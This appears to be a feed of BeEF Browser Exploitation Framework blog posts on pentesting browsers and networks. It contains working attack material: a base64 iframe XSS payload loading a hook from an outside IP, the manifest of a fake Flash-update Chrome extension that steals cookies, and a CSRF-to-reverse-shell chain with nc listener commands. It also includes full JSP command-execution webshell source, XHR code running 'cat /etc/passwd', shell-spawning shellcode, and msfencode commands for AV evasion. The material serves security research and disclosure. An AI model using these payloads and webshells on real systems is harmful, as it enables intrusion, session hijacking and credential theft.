Quantcast
Channel: BeEF - The Browser Exploitation Framework Blog
Viewing all 37 articles
Browse latest View live
↧

BeEF Shank - BeEF MitM for Pentests

December 31, 2012, 7:11 pm
$
0
0
Happy New Year, everyone!

This guest post is brought to you by Ryan Linn.

At BlackHat Briefings this past summer, Steve Ocepek and I released Ruby code that would assist folks who want to use BeEF on internal penetration tests. Some may wonder, why would you want to do that? More and more internal resources are moving to Sharepoint, tools moving to web based intranet sites, and personal information moving away from mainframes and thick clients into web clients with database back-ends. Being able to attack the browser effectively on internal tests is going to become more crucial in giving realistic feedback on potential impact of an intrusion.

So our goal at BlackHat this year was to demonstrate how to effectively utilize the browser among local machines on the network. We created two tools to help utilize BeEF effectively on internal tests. The first was a tool called shank. Shank is an ARP Spoofing tool used to execute smarter Man-In-The-Middle (MITM) attacks injecting the BeEF hook into browsers surfing on the network.


Shank has two distinct parts. The first part is the MITM engine that begins by ARP spoofing the local network. Once the network has been successfully poisoned, shank begins polling the local BeEF instance to determine which browsers are already hooked. If shank sees a web response destined for a poisoned client that hasn’t already been hooked by BeEF, shank will insert the BeEF hook into the response. Once the browser is hooked, shank won’t inject another response until the BeEF hook is lost.  This ensures that while the browser is actively browsing the web, it will stay hooked by shank.

So where do we go from here? Once we have a browser hooked, we want to get as much information as we can from each browser.  BeEF lets us auto-run one module for each browser, but what if we wanted to do a large amount of fingerprinting for each browser we hook. This is where the autorun.rb comes into place.  For each browser we hook, we check in autorun.rb to detect if this is a new hook. If it is a new hook, we have an array of modules that we want to run against the hooked browser.

These modules can do anything from figure out what version of Java and Flash is running, to determining all the interfaces on a machine to determine if a VPN session is active or if a host is multi-homed. Based on that logic, and since this is all in Ruby, additional logic can be added for reactions based on the fingerprints such as auto-launching MSF modules, or other types of attacks based on versions of Flash or the presence of VPN interfaces. This increases the functionality of BeEF through external triggers thanks to Michele’s REST API interface.

Leveraging these tools can greatly enhance your internal penetration tests, and this is a proof of concept to help with internal tests. If you want to try any of this out for yourself, you can get the code at github. I also encourage you to checkout the whitepaper.

If you have any suggestions for other things to add to BeEF, feel free to add them to our feature tracker, and we’ll take a shot. If you’d like to help out with BeEF let us know!
↧
Search

BeEF Live - The quick and easy way to get your BeEF

January 7, 2013, 5:20 am
$
0
0
Today's post is brought to you by Ben Waugh (@bw_z)

By far the most common queries or issues our users encounter is how to get BeEF dependencies running with a minimum of hassle on their systems. While our installation guide includes instructions for most *Nix distributions, we also put together a LiveCD which includes a working install or BeEF, Metasploit and sqlmap.

Using the LiveCD
Download here: http://downloads.beefproject.com/BeEFLive1.2.iso

To run, simply:
  • Download 
  • Create a new VM using your virtualisation software of choice
  • Boot from the ISO. 
  • The console will automatically login with user "beef" and present you with a few options at startup:
    • Install & Setup SSH: this will enable SSH for remote access to the VM and prompt you to create a password. 
    • Update BeEF (or metasploit/sqlmap) will update to the latest version available in GitHub.
    • Start beef.
Known Issues
Due to some issues running Ubuntu on VirtualBox, users of VirtualBox may have to toggle PAE Support

About the LiveCD
The liveCD is based on Ubuntu 12.04 LTS and is configured to use Ruby 1.9.3p194. Apart from the standard install instructions (above) there is very little custom configuration of the OS.
Ruby Version Manager was used (https://rvm.io/) to install and ruby versions, users can customise further and download, install and switch between Ruby versions with the rvm command on the LiveCD.

The LiveCD was generated using Remastersys and it's dist command, which generates the 850MB ISO file above. The custom splash screen and grub text are also customised by providing a custom splash.png and isolinug.cfg files.

A reference to the liveCD/BeEFLive.sh file in the BeEF repository is added to the default user profile to provide the user with a series of friendly prompts, including updating or running beef.

Any suggestions for other customisations or feature requests for the BeEF LiveCD? Let us know @beefproject or raise issues for us in GitHub.
↧
↧

BeEF QR Fun

January 15, 2013, 5:19 am
$
0
0
With two hooks (customhook and qrcode), you can have quite a bit of fun in a pentest. Today's blog post uses these together for some fun(ny) and useful pentest ideas.

This post was contributed by contributed by Christian Frichot (@xntrik).



Where would BeEF be without hooking? Not very far. The concept of utilising a browser to gain information on a target, or better yet, compromise other systems, relies on a very important first step: hooking the browser. In BeEF parlance, this is the moment a browser executes the initial JavaScript payload (/hook.js) successfully and sets up a persistent communication channel back to the BeEF server. During BeEF’s early days as a young, unwieldy PHP app (hehe, you know I’m joking Wade, it kicked ass even back then), this initial hook was often times a cross-site scripting (XSS) flaw that was being exploited to inject the hook into a vulnerable website, which was then subsequently executed by a victim browser.

These days exploiting XSS flaws, whilst still common, is not as easy as it used to be. What, with the number of preventative controls really starting to stack up, you can see why attackers (read: pen testers :P) are starting to look at other means to entice a victim (read: authorising party) to bite on their hook. The following are just a few of those XSS controls:
  • Developers slowly starting to use input/output encoding/escaping;
  • Development frameworks slowly making it more and more difficult to accept or output unfiltered codes by default;
  • Browser in-built XSS controls, such as those within IE and Chrome;
  • Add-on XSS controls, such as NoScript;
  • Content-Security-Policy headers.
So what other means does an attacker have? Well, plenty in fact. Primarily these are currently split into two families, Man-in-the-Middle (MitM) style injections, or social engineering tactics. We’ve blogged about some of these previously, including:
Both of which offer great insight into the different ways you can execute that initial hook against your victim.

In addition to Michele’s social engineering extensions, a couple of other extensions exist within BeEF that allow an attacker can hook a victim. These are the ‘Custom Hook Point with iFrame Impersonation’ (the customhook extension), and the ‘QR Code Generator’ (the qrcode extension). You can use these extensions separately, but combining them really helps an attacker successfully perform a browser-based social engineering attack. The customhook extension simply offers the attacker a custom mount point (beefserver.com/thisisacustommountpoint) within BeEF that when visited by a browser loads up the BeEF hook, and then loads a full-screen iframe of the target website. While similar in concept to the web cloning extension, this extension does not require a downloading of the target website. Due to how the extension displays the target website in an iFrame, it only works when the target site does not utilise any frame-busting code. We here at BeEF prefer diversity in the ways in which you can use the tool, just like we enjoy a variety of different cuts (top, sirloin, shankle, tongue, tenderloin etc).

You could use a customhook by itself quite nicely, fire up BeEF, trick a user (using shortened URLs for example) into visiting the custom mount point and away you go. But why stop there? You know how much we love hooking mobile devices right? This is where the qrcode extension can come into play. For those who haven’t seen QR codes before they’re the new fad in mobile/advertising that are meant to be trivial for mobile devices to point at and then perform an action, such as visit a URL. The qrcode extension itself is very basic, all it does is take a URL, and then give you back a Google Chart URL which generates the QR code for you. While you can use the extension if you wish, you can just as easily hit up https://chart.googleapis.com/chart?cht=qr&chs=300x300&chl=<inserttargeturlhere>

Tying it all together now, edit the beef/extensions/customhook/config.yaml file:

customhook config.yaml
Modify the enable to be ‘true’, then configure your customhook_path (this will be the mount point), the customhook_target (what we’re going to shove into an iFrame) and the customhook_title (this will be what we set the HTML Title of the page to). If you want to add another layer of obfuscation you can wrap this custom hook URL in a shortened URL, go on, hit up bit.ly and generate a shortened URL for http://yourbeefserver.com/yougotchipmunked .

To leverage the QR code extension, edit beef/extensions/qrcode/config.yaml file:

qrcode config.yaml


Modify the enable to ‘true’ then drop your URL into the target setting.

When you start BeEF you should see the console respond with:

console response with custom hook and qrcode links
You can see a rough demo of this in action from my OWASP AppSec APAC 2012 YouTube demo here:

Happy fishing BeEFers!

-Christian ‘@xntrik’ Frichot
↧

About the latest Rack vulnerability and how it affected BeEF

February 25, 2013, 6:18 am
$
0
0
A friend of mine, Louis @snyff Nyffenegger, recently found an XSS in Rack default 404 page. By default, Rack is reflecting the value of the not found URI in the page, without applying proper output escaping. This leads to reflected XSS.

A simple patch suggested by him is the following:
https://github.com/snyff/rack/commit/66b41c8394569e87b85122d7b2cdf194017b82c3

So how does this affect BeEF?

The bug is present when using Rack::File or similar directives to mount content in the Thin web server. We use that directive to mount the static content served via the /demos URI.

beef_server.mount('/demos/', Rack::File.new(dir))

The affected code in the file.rb Rack library is:




Bear in mind, the demo content should be disabled when using BeEF in production, especially because you're not going to hook browser using the default hook demo page. This is the same as disabling debug logging in your web application when switching to a UAT to production environment.

The exploitability of the bug itself is actually very low, because the 404 page is returned with Content-type: text/plain. To trigger an XSS with such content type you need to rely on browser bugs, which are now mostly patched, and rely on not honoring the content type leading to content type mismatches.

 And yes, I patched the bug in less than one hour from the moment I knew about the bug. So even without updating Rack to 1.4.5 or greater versions, your BeEF is gonna be safe.

This is my patch:
https://github.com/beefproject/beef/commit/c37f0e1719bb9eee71dabed15584bd672df7b443
which is basically removing completely the reflection point:



Now, as I already knew this could be an issue, something like 8 months ago I changed the default
routing behavior in the BeEF core, creating a routing.rb class that overrides the behavior of the default 404 page from Rack.

So, the whole BeEF UI/Core and RESTful-API was not vulnerable since at least 10 months ago.
The only resources mounted with Rack::File are the /demos stuff, which I honestly never use in production, disabling the extension. You can see below how a not found page is handled in BeEF's router.rb class, which is used by every component of the framework:



So, a limited-exploitability bug, on an handler that is supposed to be not available in production, and last on a library we use (not code we explicitly wrote) :D

But, as we take these things seriously, expect a BeEF module which aims at hooking BeEF itself :D


↧

Subverting a cloud-based infrastructure with XSS and BeEF

March 11, 2013, 1:35 am
$
0
0
Well, the world is changing. You can probably do a lot more direct damage with a XSS in a high-value site than with a local privilege escalation in sudo [...] - lcamtuf@coredump.cx
If you are intrigued by sophisticated exploits and advanced techniques, Cross-Site Scripting isn't probably the most appealing topic for you. Nevertheless, recent events demonstrated how this class of vulnerabilities has been used to compromise applications and even entire servers.

Today, we are going to present a possible attack scenario based on a real-life vulnerability that has been recently patched by the Meraki team. Although the vulnerability itself isn't particularly interesting, it is revealing how a trivial XSS flaw can be abused to subvert an entire network infrastructure.

Meraki

Meraki is the first cloud-managed network infrastructure company and it's now part of Cisco Systems. The idea is pretty neat: all network devices and security appliances (wired and wireless) can be managed by a cutting-edge web interface hosted in the cloud, allowing Meraki networks to be completely set up and controlled through the Internet. Many enterprises, universities and numerous other businesses are already using this technology.

As usual, new technologies introduce opportunities and risks. In such environments, even a simple Cross-Site Scripting or a Cross-Site Request Forgery vulnerability can affect the overall security of the managed networks.

The vulnerability

During a product evaluation of a cloud managed Wireless Access Point, we noticed the possibility to personalize the portal splash page.  Users accessing your WiFi network can be redirected to a custom webpage (e.g. containing a disclaimer) before accessing Internet.

To further customize our splash page, we started including images and other HTML tags. With big surprise, we quickly discovered that just a basic HTML/JS validation was performed in that context. As a result, we were able to include things like:


What was even more interesting is the fact that the splash page is also hosted in the cloud. Unlike traditional WiFi APs where the page is hosted on the device itself, Meraki appliances use cloud resources.

https://n20.meraki.com/splash/?mac=XXXX&client_ip=XXXX&client_mac=XXXX&vap=0&a=XXXX&b=XXXX&auth_version=5&key=ef1115d... AUTH_KEY...d41c283&node_ip=XXXX&acl_ver=XXXX&continue_url=http%3A%2F%2Fwww.google.com

To protect that page from random visitors, a unique token is used for authentication. Assuming you provide the right token and other required parameters, that page is accessible to Internet users.

Now, let's add to the mix that Meraki uses a limited number of domains for all customers (e.g. n1-29.meraki.com, etc.) and, more importantly, that the dashboard session token is scoped to *.meraki.com. This factor turns the stored XSS affecting our own device's domain to a vulnerability that can be abused to retrieve the dashboard cookie of other users and networks. 

Attack scenario

An attacker with access to a Meraki dashboard can craft a malicious JS payload to steal the dashboard session cookie and obtain access to other users' devices. In practice, this allows to completely take over Meraki's wired and wireless networks.

BeEF, the well-know Browser Exploitation Framework, has been used to simulate a realistic attack:

  1. The attacker customizes the splash page of his/her WiFi AP with an arbitrary JS payload, which includes the BeEF hook 
  2. Connecting a device to the physical wireless network controlled by the attacker (e.g. a testing device), it is possible to retrieve the URL of the splash page including the unique token 
  3. Using social engineering, the attacker tricks the victim(s) into visiting the attacker-controlled splash page
  4. At this point, the victim browser is hooked in BeEF
  5. Using one of the available BeEF modules, the attacker can retrieve the HttpOnly dash_auth cookie and get access to the victim's Meraki dashboard 
  6. In the case of Meraki WiFi Access Point, a convenient map will display the position of the device. In the config tab, it is also possible to disclose the network's password. At this stage, the actual network can be fully controlled by the attacker

  

A demonstration video of the attack is also available:



For the interested readers, a few technical details are also shared:
  • Cookie flags (e.g. HttpOnly) are the ASLR/DEP of browser security. It is possible to bypass those mitigation techniques,  although it's getting more complex. Thanks to the progress of browser security and general awareness, stealing cookies marked as HttpOnly via JS payload isn't trivial anymore. Cross Site Tracing and similar techniques are obsolete. Browser plugins have been also patched. Besides exploiting specific servers or browsers bugs, attackers can only rely on social engineering tricks. During our Proof-of-Concept, a fake Flash update has been used to install a malicious Chrome extension and get access to all cookies
  • Chrome extensions run with different privileges than normal JavaScript code executed by the renderer. A Chrome extension can override default SOP restrictions and issue cross-domain requests reading the HTTP response, accessing other browser tabs, and also reading every cookie including those marked as HttpOnly. The manifest of the deliberately backdoored Chrome Extension is the following. The background.js file loads the BeEF hook.

    {
      "name": "Adobe Flash Player Security Update",
      "manifest_version": 2,
      "version": "11.5.502.149",
      "description": "Updates Adobe Flash Player with latest securty updates",
      "background": {
        "scripts": ["background.js"]
      },
      "content_security_policy": "script-src 'self' 'unsafe-eval' https://174.136.111.122; object-src 'self'",
      "icons": { 
        "16": "icon16.png",
        "48": "icon48.png",
        "128": "icon128.png" 
      },
      "permissions": [
    "tabs", 
    "http://*/*", 
    "https://*/*",
      "cookies"
      ]
    }

    Not to blame Google, but just FYI when the backdoored Chrome Extension was uploaded to Google Chrome Webstore, it was available straight after the upload. No checks were made by the application, for example to prevent the upload of an extension with very relaxed permissions, unsafe-eval CSP directive, and Name/Description fields containing an obviously fake content such as "Adobe Flash Update" 
  • Choosing Google Chrome as target browser required to bypass XSS Auditor, the integrated Anti-XSS filter. As discovered by Mario Heiderich, the data URI schema with base64 content can be leverage to bypass the filter. The following code snippet will trigger the classic alert(1), even on the latest Google Chrome at the time of writing (version 24.0.1312.71)


  • The final attack vector to inject the initial BeEF hook in Meraki's page is:

    <iframe src="data:text/html;base64,PHNjcmlwdD5zPWRvY3VtZW50LmNyZ
    WF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3MudHlwZT0ndGV4dC9qYXZhc2Nya
    XB0JztzLnNyYz0naHR0cHM6Ly8xNzQuMTM2LjExMS4xMjIvaG9vay5qc
    yc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswX
    S5hcHBlbmRDaGlsZChzKTs8L3NjcmlwdD4=">

    And what is actually executed is:

    <script>s=document.createElement('script');s.type='text/javascript';s.src='https://174.136.111.122/hook.js';document.getElementsByTagName('head')[0].appendChild(s);</script>

    Having a backdoored Chrome Extension running in your browser opens for many new attack vectors wich we din't covered in the PoC. For example, it is possible to inject the BeEF hook in every open tab (you can get the impact of this :-), or use the victim browser as an open proxy using BeEF's Tunneling Proxy component and many other attacks

This blog post is brought to you by @_ikki (NibbleSec) and @antisnatchor (BeEF core dev team).
Thanks to Meraki for the prompt response.
↧
↧

Exploiting m0n0wall 1.33 with BeEF

March 20, 2013, 4:16 pm
$
0
0
Today's post is a guest post from Bart Leppens.

What is m0n0wall? m0n0wall is a free software firewall distribution that often runs on embedded hardware like Alixor Soekris boards.  It is based on a bare-bones version of FreeBSD. There is no netcat, socat, perl, python, ruby or even telnet present on the system.  I actually don't know if this is due to security considerations or just to save some diskspace since m0n0wall was longtime fitting on a 8 MB CF-card, now it requires just a 16 MB card. And we figured out how to exploit it with BeEF.


The Proof of Concept:
In November of 2012, Yann Cam, Security Consultant at synetis, released a Cross-Site Request Forgery Remote Code Execution Proof of Concept for m0n0wall 1.33 which allows an attacker to spawn a reverse shell with root privileges.

On the website of m0n0wall is posted the following newsitem:

m0n0wall Vulnerability Announcement

Oh my, CSRF RCE with root privileges on a router is considered a low priority security fix nowadays...

Anyway, to obtain his root shell, Yann Cam made use of Pentest Monkey's php-reverse-shell.  We at BeEF-project decided to contact Pentest Monkey and asked him if we were allowed to tweak his awesome php reverse shell just a tiny bit so we could use it with an automatic module for Yann's exploit.

So I basically just changed this:

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

into this:

$ip = $_GET["ip"];  //retrieve ip address to connect back to via HTTP GET
if (!$ip) {
    $ip = '127.0.0.1';  // or set static ip address
}
$port = $_GET["port"];  //retrieve port to connect back to via HTTP GET
 if (!$port) {
     $port = 1234;  // or define port here
}

Then I just implemented the actual BeEF-module based on the provided proof of concept so m0n0wall 1.33 can be easily exploited.

What happens behind the scenes?
  1. The victim needs to have a valid m0n0wall-session for the CSRF to work.
  2. An attacker needs to listen on some port (lport) at a certain IP address (lhost)  (e.g.: nc -l -p 4444).
  3. The attacker fills in the parameters in BeEF and sends the exploit http://lhost:lport/exec_raw.php
  4. The file php-reverse-shell.php gets served by BeEF.
  5. A new file x.php is created on the victims machine and given proper execute rights (chmod 755).
  6. After a little bit, http://lhost:lport/x.php?ip=<rhost>&port=<rport> is triggered.
  7. The remotely served file http://beefhost:beefport/php-reverse-shell.php get's eval'ed (For it to work, make sure you have configured your public host in BeEF's config.yaml. Otherwise, your IP might be known as 0.0.0.0. and it won't work.)
  8. The m0n0wall machine spawns back a reverse shell to specified lhost and lport.
  9. Finally, BeEF stops serving the php-reverse-shell.php.
Demo:


Conclusion:

So even with only the php interpreter present on the system, it can still be possible to send a reverse shell without the need to compile code or to execute shellcode.  By using creative solutions like
Pentest Monkey's php-reverse shell, you still can easily exploit the remote system.

-------
Bart Leppens has a master degree in Informatics. He has over 10 years of experience in IT, mainly in software development. He reported security bugs in widely used products from major vendors. At the moment, he is working as a Project Manager for the Belgian government at the department of Finances. During his spare time he likes to contribute to the BeEF-project. You can reach him via twitter: @bmantra
↧

The Evolution of Chrome Extensions Detection

April 4, 2013, 1:53 pm
$
0
0
Today's blog post is by guest blogger Giovanni Cattani.

The Old Technique

Detecting which Chrome extensions are installed has always been a trivial matter of finding a specific extension ID and trying to load the manifest.json file, which is always located in the same spot:

chrome-extension://abcdefghijklmnopqrstuvwxyz012345/manifest.json

However, in the latest Chrome versions, attempting to load the manifest usually fails and the JavaScript console returns the following error:

Denying load of chrome-extension://abcdefghijklmnopqrstuvwxyz012345/manifest.json.Resources must be listed in the web_accessible_resources manifest key in order to be loaded by pages outside the extension.

Load Error





What happened to the good old detection code that used to work seamlessly? And what is the web_accessible_resources manifest key?

Manifest Version 2

In Chrome 18, manifest version 1 was deprecated. Google is slowly decreasing its support, finally making it unavailable to developers in September 2013. In the new version, Google introduced several changes to the manifest file and one of them is breaking most of the existing detection code.

The web_accessible_resources array was introduced to allow developers to choose exactly which resources can be reached by external sources. If a local resource isn't included in the array, then a remote web page won't be able to load it. The array looks like the following example:

"web_accessible_resources": [ "logo.png", "menu.html", "style.css" ]

In order to determine the manifest version, the manifest.json file must be checked properly. The "manifest_version" parameter is self-explanatory and determines if the JSON has been updated to the latest version. If the manifest is already in the latest version ("manifest_version": 2), then the file includes the web_accessible_resources array.

Detecting Extensions

First of all, check the web_accessible_resources array and determine the resources that can be loaded. If the array is not empty, choose a resource of your choice, knowing that its location is chrome-extension://[EXTENSION ID]/[RESOURCE PATH].

Exactly like the old implementation, the simpler way to reliably detect whether an extension is installed or not with JavaScript is by creating a script element in the page and setting its source as one of the local extensions' resources. The following piece of code allows users to determine if a specific extension is installed by executing an arbitrary action when the local resource is loaded.

var testScript = document.createElement("script");           
testScript.setAttribute("onload", "alert('Extension Installed!')");
testScript.setAttribute("src", "chrome-extension://[EXTENSION ID]/[RESOURCE PATH]");
document.body.appendChild(testScript);

The previous code should work for every type of file, whether it's a text file (eg. json, html, script) or a picture.

Conclusion

The new implementation of the Chrome extension manifest provides developers with an easy way to whitelist resources loaded from external sources. Any code developed in order to detect installed add-ons won't be affected, as long as extensions keep allowing at least one local resource in the web_accessible_resources array.

-----

Giovanni Cattani works as a security specialist and likes to mess around with applications of all kinds. He occasionally contributes to BeEF and writes about stuff he likes at gcattani.co.vu
↧

Cross-domain communication with a JSP shell from a browser hooked with BeEF

June 18, 2013, 9:28 am
$
0
0
If you're a penetration tester, you have surely played with webshells before. There are plenty of webshell examples in multiple languages (e.g. Java (JSP), ASP, ASP.NET, PHP). Most of these webshells, including the Metasploit ones, give you either a bind or reverse shell running as the web or application server user (e.g. Tomcat, Apache, IIS).

This works fine when you want to use our BeEF Bind custom shellcode to exploit compiled software (kudos to our friend Ty Miller), but what can you do if you're able to upload a webshell to the target and you want bi-directional communication with that from the hooked browser?

If your target is a Java Application Server, for instance JBoss or GlassFish (see the exploits we ported to BeEF for both of them, inside the exploit directory), you can deploy the following JSP shell I wrote for that purpose.


In the BeEF project, we're obsessed with doing bad stuff entirely from the hooked browser, using it as a beachhead for launching attacks. One thing we usually exploit is the possibility to work directly in the internal network of the hooked browser. We effectively use the browser as a pivot point for further internal network pwnage. Unline with a normal pentest scenario, we can do this without even touching the file system or the memory of some processes.

If you're a frequent reader of our blog, you would probably remember Revitalizing the Inter-Protocol Exploitation with BeEF Bind, the post I wrote after RuxCon 2012. The whole idea of the technique described in that post was to bi-directionally interact with custom shellcode from the hooked browser. Such approach removes the need to open a reverse connection back to your attacker server, or to connect to the bind shell from a fully compromised machine (in the internal network). OS commands are sent by the hooked browser cross-domain using XMLHttpRequest and command results are appended in the HTTP response.

Let's take a look at code:

<%@ page import="java.util.*,java.io.*"%>  
<%  
 // needed for cross-domain communication  
 response.setHeader("Access-Control-Allow-Origin", "*");  
 try{  
 // needed for handling text/plain data  
 BufferedReader br = request.getReader();  
 String line = br.readLine();   
 if(line != null){  
  String[] cmds = line.split("cmd=");  
  if(cmds.length > 0){  
   String cmd = cmds[1];  
   //executes the command  
   Process p = Runtime.getRuntime().exec(cmd);  
   // reads the command output  
   OutputStream os = p.getOutputStream();  
   InputStream in = p.getInputStream();  
   DataInputStream dis = new DataInputStream(in);  
   String disr = dis.readLine();  
   while(disr != null){  
   out.println(disr);  
   disr = dis.readLine();  
   }  
  }   
 }}catch(Exception e){  
 out.println("Exception!!");  
 }  
 %>

Obviously, to defeat forensics, you might want to improve it adding polymorphism and obfuscation, but this is currently out of scope :D

Now, in order to re-create the same behavior of the BeEF Bind shellcode, we need the following requirements in our webshell:
  • every HTTP response must contain Allow-Access-From-Origin: * to allow bi-directional cross-domain communication with the hooked browser;
  • the JSP page must accept a POST request (Content-type text/plain) with a cmd parameter, which holds the command that will be executed;
  • the output of the executed command must be returned in the HTTP response.
The JSP webshell satisfies all the previous requirements, as you can read from the code. I used request.getReader() because I wanted to parse a text/plain request rather than the default application/x-www-form-urlencoded Content-type.

You can interact with the webshell cross-domain from the hooked browser with the following code:
 var uri = "http://your_target";  
 var port = 8080;  
 var path = "BeEF_Bind.jsp";  
 var cmd = "cat /etc/passwd"       
 xhr = new XMLHttpRequest();       
 xhr.onreadystatechange = function() {  
   if (xhr.readyState == 4) {  
     console.log(xhr.responseText);  
   }  
 }  
 xhr.open("POST", uri + ":" + port + "/" + path, true);  
 xhr.setRequestHeader("Content-Type", "text/plain");  
 xhr.setRequestHeader('Accept','*/*');  
 xhr.setRequestHeader("Accept-Language", "en");  
 xhr.send("cmd=" + cmd);

The JSP shell accepts POST requests that contains cmd=<command> in the body, for instance cmd=ls, returning the command results back in the HTTP response.

As you can see from the following screenshot, the hooked page is at http://xxxker.com/beef_bind_xhr.html while the POST request sent with the previous snippet of JavaScript is sent to http://xxxvictim.com:8080/BeEF_Bind.jsp, confirming the cross-domain interaction. Obviously you want to replace the console.log line with beef.net.send() in order to send back to BeEF the command output.

BeEF Screenshot

Obviously, you can achieve the same results porting this code to ASP, ASP.NET, PHP and every other language you want. In this way you can exclusively use the hooked browser for both exploiting the vulnerability that leads to the webshell deployment, and to fully interact with it being stealthier,  potentially controlling a system in the hooked browser internal network.

Have fun with it!
anisnatchor
↧
Search

The Internet of Things

June 26, 2013, 8:03 am
$
0
0
We've heard a lot of people buzzing about this Internet of Things. So, we thought we'd offer you this without further comment:


↧
↧

A funny issue on BeEF keylogger spotted by Mario

July 5, 2013, 12:32 pm
$
0
0

Mario Heiderich, a good friend of mine, spotted a cool issue with the BeEF keylogger. He went “Armin Meiwes” on our favourite open source bovine. He found XSS in BeEF using <svg/onload=blah>. Well-done!

The BeEF team encourages security researchers to help out wherever possible. As such, we are announcing a BeEF bug bounty program. Each bug will receive a kilogram of Minotaur rump (depending upon supply ;-). Contact us if you would like to help out. We want to hear from you!

We're publishing the writeup about the bug Mario found and we're addressing how we fixed it in today's blog post.


To demonstrate, enter the data into the demo hook demo page:
XSS Screenshot
And the final result was:

Returned data
I've added the ability to do context-aware output escaping of data coming from the hooked browser to the BeEF web admin UI jQuery-encoder. It's an awesome and very easy-to-use JavaScript library.

If you search in the BeEF JavaScript code, you can spot multiple instances of $jEncoder.encoder.encodeForHTML(your_untrusted_output). In this case, the issue is that the data coming from the BeEF keylogger was first mangled by this.formatTitle, and then the output was escaped.

Have a look at the patch (lines 57 to 59):

XSS Patch source
Regarding exploitability, I would imagine the following attack:
  • An attacker prepares a website vulnerable to XSS, ready to be exploited with the BeEF hook.
  • The website also includes a piece of JavaScript that monitors the window object for a new global variable called BeEF.
  • When the BeEF variable is found, it's sufficient to use the functionality available in our logger.js (/beef/core/main/client/logger.js) to issue an XHR back to the /event handler, with properly formatted data including the XSS vector. 
This bug was fixed within 3 hours of notification. Update and cover your BeEF!

Cheers
antisnatchor



↧

Exploiting with BeEF Bind shellcode

March 19, 2014, 1:02 pm
$
0
0
Today's post contributed by Bart Leppens.

Some time ago Michele blogged about the BeEF bind shellcode that Ty Miller wrote for the BeEF project.  In the meantime we have committed the full source of this shellcode to the BeEF repository and it has been ported to  Linux x86 and x64 as well. So, next time you find an exploitable overflow in an application, why not give BeEF Bind a try?
In contrast to the "classical" bind or reverse shell-shellcodes, BeEF bind makes use of Inter-Protocol Communication.  This way it can be used in a very subtle way to pivot into a company's internal network by abusing a victim's hooked browser.  To achieve this, our shellcode is in fact a small webserver that proxies all the commands back and forth between cmd.exe and the victim's browser.  For making it more effective the CORS-header "Access-Control-Allow-Origin: *" has been added.  This means that, when we make cross-domain AJAX calls towards it, we are able to read the response of the HTTP request without violating the Same Origin Policy.

Exploit flow

The BeEF Bind shellcode exists of 2 parts: the Stager and the Stage. The Stager is a smaller piece of shellcode that allocates one page of executable memory and initializes a websocket that waits for a client connection before sending the actual payload: the Stage.

Once the client sends the data, the shell code scanning for the request gets processed. The Stager locates the Stage by searching for the string cmd= in memory, checking if the EBX register value points to it:

cmp dword [esi], 0x3d646d63  ;=dmc

The string indicates the start of the bytecode of the actual Stage.  The Stager copies this bytecode to the allocated executable memory and then jumps into it.

The Stage initializes a server socket, as well.

Sets of OS pipes are created to redirect the input and output through cmd.exe (Windows) or /bin/sh (Linux). These pipes are used to pass and subsequently execute OS commands.

On Windows the Windows API CreateProcess is being called to execute the command. On Linux this is done with the setresuid and execve syscalls.


setresuid(0,0,0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0xa4 ;sys_setresuid16
int 0x80 
;execve("/bin//sh", 0, 0)
xor eax, eax
push eax
push eax
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx, esp
push BYTE 0x0b ;sys_execvepop eax
int 0x80

So, when the client sends a request to the serversocket, the shellcode once again scans for the string cmd=.  Everything after this string is sent to cmd.exe till we meet a CR/LF.  Then, the result of the executed command is send back to the client.

BeEF bind established
In our BeEF codebase, the shellcode is located in the folder modules/exploits/beefbind/shellcode_sources.

Both linux and windows directories contain commented assembly-code of the shellcode as well as a small C-file "socket.c". With these small files a standalone version (for test or RCE) can be compiled with MinGW (Windows) or with GCC:

c:\MinGW\bin>gcc -o beefstager.exe beefstager.c

and then executed with:

c:\MinGW\bin>beefstager.exe 1234

or just with the default port 4444:

c:\MinGW\bin>beefstager.exe

The msf directory contains the modules and the instructions (instructions.txt) on how you can use BeEF bind with the metaspoit framework. This comes in handy for re-encoding the shellcode for AV-evasion or just for coding out bad characters like the NULL-byte.

copy beef_bind-handler.rb %METASPLOIT_PATH%/lib/msf/core/handler/beef_bind.rb
copy beef_bind-stage-windows-x86.rb %METASPLOIT_PATH%/modules/payloads/stages/windows/beef_shell.rb
copy beef_bind-stager-windows-x86.rb %METASPLOIT_PATH%/modules/payloads/stagers/windows/beef_bind.rb
copy beef_bind-stage-linux-x86.rb %METASPLOIT_PATH%/modules/payloads/stages/linux/x86/beef_shell.rb
copy beef_bind-stager-linux-x86.rb %METASPLOIT_PATH%/modules/payloads/stagers/linux/x86/beef_bind.rb
copy beef_bind-stage-linux-x64.rb %METASPLOIT_PATH%/modules/payloads/stages/linux/x64/beef_shell.rb
copy beef_bind-stager-linux-x64.rb %METASPLOIT_PATH%/modules/payloads/stagers/linux/x64/beef_bind.rb

Check it works:
msfpayload -l | grep beef_bind

Get info on the payload:
msfpayload windows/beef_shell/beef_bind S

Dump stager and stage in C format:
msfpayload windows/beef_shell/beef_bind C

Dump stager in raw format:
msfpayload windows/beef_shell/beef_bind R > beef_bind-stager

Encode stager to remove nulls:
msfpayload windows/beef_shell/beef_bind R | msfencode -b '\x00'

If you are interested in more information about attacking internal networks via the browser or about BeEF internals, Chapter 10 of "The Browser Hackers Handbook" discusses "Attacking Networks" and covers more of this kind of topic.

If you know of other good resources for browser hacking, or other BeEFy stuff, we would love to hear about them!

-------
Bart Leppens has a master degree in Informatics. He has over 10 years of experience in IT, mainly in software development. He reported security bugs in widely used products from major vendors. At the moment, he is working as a Project Manager for the Belgian government at the department of Finances. During his spare time he likes to contribute to the BeEF-project. You can reach him via twitter: @bmantra
↧

Kali (formerly Backtrack) Linux & BeEF

June 24, 2014, 11:11 pm
$
0
0
Today's post is contributed by Ben Waugh (@bw_z).

BeEF is preinstalled on Kali linux distributions, allowing you to quickly use BeEF as part of your security testing toolkit.

 Running BeEF in Kali

Kali packages BeEF within the beef-xss service which can either be started from the command line, or the pre-populated menu item under Kali-Linux > Exploitation Tools > BeEF-XSS Framework. We don't recommend starting BeEF directly in Kali (using ruby beef) as this will not load BeEF with the required prerequisites.
You can start BeEF from the command line with; service beef-xss start

Stopping BeEF in Kali

